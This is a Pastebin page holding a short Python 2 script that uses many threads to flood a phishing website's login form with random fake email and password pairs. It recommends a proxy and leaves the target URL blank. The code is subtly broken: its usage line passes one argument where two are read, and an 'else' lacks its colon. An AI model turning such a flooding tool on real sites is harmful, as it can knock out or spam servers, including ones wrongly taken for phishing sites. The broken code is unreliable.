Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #FloodPhishingSite
- #A script that can be used to flood a phishing website with useless information.
- #This script is designed confuse the Phishing Website makers, flooding them with useless information.
- #Warning: Recommend use with a proxy.
- #How to use it?
- #Inspect the phishing website to find out the form elements (email, password). Then change the data structure in the attack function. #Also update the url with the phsihing website's url.
- #Then launch it with:
- #python goodbye.py 5
- #(replace 5 with the number of threads you want to launch)
- import urllib
- import urllib2
- import random
- import string
- from threading import Thread
- import sys
- import time
- '''the number of threads'''
- num = int (sys.argv[1])
- '''the number of minutes to run'''
- minute = int (sys.argv[2])
- '''the time to stop'''
- timeout = time.time() + 60*minute
- def attack():
- while True:
- if time.time() <= timeout:
- data = {
- 'email': id_generator(random.randint(3,10))+"@"+id_generator(random.randint(3,10))+".com",
- 'password': id_generator(random.randint(3,10)),
- }
- req = urllib2.Request(url="",
- data=urllib.urlencode(data),
- headers={"Content-type": "application/x-www-form-urlencoded"})
- response = urllib2.urlopen(req)
- the_page = response.read()
- print 'flooded with '+ str(data)
- else
- break
- def id_generator(size=12, chars=string.ascii_uppercase + string.digits):
- return ''.join(random.choice(chars) for _ in range(size))
- if __name__ == "__main__":
- for k in range(0, num):
- thread = Thread(target = attack)
- thread.start()
- print 'Launched thread '+str(k)
- print
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement